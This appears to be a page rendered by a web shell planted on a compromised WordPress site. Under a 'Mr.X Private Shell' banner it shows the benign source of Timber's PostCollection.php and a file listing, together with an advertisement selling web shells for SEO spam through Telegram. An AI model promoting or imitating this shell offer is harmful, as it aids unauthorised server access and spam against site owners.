__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Timber;
use Timber\Helper;
use Timber\Post;
/**
* Class PostCollection
*
* PostCollections are internal objects used to hold a collection of posts.
*
* @package Timber
*/
class PostCollection extends \ArrayObject {
public function __construct( $posts = array(), $post_class = '\Timber\Post' ) {
$returned_posts = self::init($posts, $post_class);
$posts_iterator = 'Timber\PostsIterator';
/**
* Filters the PostIterator class to use for a PostCollection.
*
* This filter is useful if you need to set special values or globals on each post. Because many plugins still
* rely on The Loop, a custom PostIterator can make it much easier to integrate third party plugins with Timber.
*
* @since 1.4.x
*
* @param string $posts_iterator The iterator class to use to loop over posts. Default `Timber\PostsIterator`.
* @param array $returned_posts An array of posts.
* @param string $post_class The post class to use to extend posts with.
*/
$posts_iterator = apply_filters('timber/class/posts_iterator', $posts_iterator, $returned_posts, $post_class);
parent::__construct($returned_posts, 0, $posts_iterator);
}
protected static function init( $posts, $post_class ) {
$returned_posts = array();
if ( is_null($posts) ) {
$posts = array();
}
foreach ( $posts as $post_object ) {
$post_type = get_post_type($post_object);
$post_class_use = PostGetter::get_post_class($post_type, $post_class);
// Don't create yet another object if $post_object is already of the right type
if ( is_a($post_object, $post_class_use) ) {
$post = $post_object;
} else {
$post = new $post_class_use($post_object);
}
if ( isset($post->ID) ) {
$returned_posts[] = $post;
}
}
return self::maybe_set_preview($returned_posts);
}
public function get_posts() {
return $this->getArrayCopy();
}
/**
* @param array $posts
* @return array
*/
public static function maybe_set_preview( $posts ) {
if ( is_array($posts) && isset($_GET['preview']) && $_GET['preview']
&& isset($_GET['preview_id']) && $_GET['preview_id']
&& current_user_can('edit_post', $_GET['preview_id']) ) {
// No need to check the nonce, that already happened in _show_post_preview on init
$preview_id = $_GET['preview_id'];
foreach ( $posts as &$post ) {
if ( is_object($post) && $post->ID == $preview_id ) {
// Based on _set_preview( $post ), but adds import_custom
$preview = wp_get_post_autosave($preview_id);
if ( is_object($preview) ) {
$preview = sanitize_post($preview);
$post->post_content = $preview->post_content;
$post->post_title = $preview->post_title;
$post->post_excerpt = $preview->post_excerpt;
$post->import_custom($preview_id);
add_filter('get_the_terms', '_wp_preview_terms_filter', 10, 3);
}
}
}
}
return $posts;
}
}
class_alias('Timber\PostCollection', 'Timber\PostsCollection');
class_alias('Timber\PostCollection', 'TimberPostsCollection');
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Cache | Folder | 0775 |
|
|
| Image | Folder | 0775 |
|
|
| Integrations | Folder | 0775 |
|
|
| Admin.php | File | 5.65 KB | 0775 |
|
| Archives.php | File | 10.65 KB | 0775 |
|
| Comment.php | File | 10.45 KB | 0775 |
|
| CommentThread.php | File | 3.58 KB | 0775 |
|
| Core.php | File | 2.69 KB | 0775 |
|
| CoreInterface.php | File | 231 B | 0775 |
|
| FunctionWrapper.php | File | 2.83 KB | 0775 |
|
| Helper.php | File | 14.42 KB | 0775 |
|
| Image.php | File | 15.64 KB | 0775 |
|
| ImageHelper.php | File | 22.06 KB | 0775 |
|
| Integrations.php | File | 717 B | 0775 |
|
| Loader.php | File | 10.02 KB | 0775 |
|
| LocationManager.php | File | 3.57 KB | 0775 |
|
| Menu.php | File | 8.52 KB | 0775 |
|
| MenuItem.php | File | 11.94 KB | 0775 |
|
| Pagination.php | File | 6.93 KB | 0775 |
|
| PathHelper.php | File | 1.76 KB | 0775 |
|
| Post.php | File | 52.58 KB | 0775 |
|
| PostCollection.php | File | 2.98 KB | 0775 |
|
| PostGetter.php | File | 6.51 KB | 0775 |
|
| PostPreview.php | File | 7.98 KB | 0775 |
|
| PostQuery.php | File | 1.81 KB | 0775 |
|
| PostType.php | File | 602 B | 0775 |
|
| PostsIterator.php | File | 247 B | 0775 |
|
| QueryIterator.php | File | 5.37 KB | 0775 |
|
| Request.php | File | 649 B | 0775 |
|
| Site.php | File | 6.23 KB | 0775 |
|
| Term.php | File | 12.26 KB | 0775 |
|
| TermGetter.php | File | 5.38 KB | 0775 |
|
| TextHelper.php | File | 4.72 KB | 0775 |
|
| Theme.php | File | 4.06 KB | 0775 |
|
| Timber.php | File | 15.84 KB | 0775 |
|
| Twig.php | File | 12.98 KB | 0775 |
|
| Twig_Filter.php | File | 650 B | 0775 |
|
| Twig_Function.php | File | 696 B | 0775 |
|
| URLHelper.php | File | 10.54 KB | 0775 |
|
| User.php | File | 7.94 KB | 0775 |
|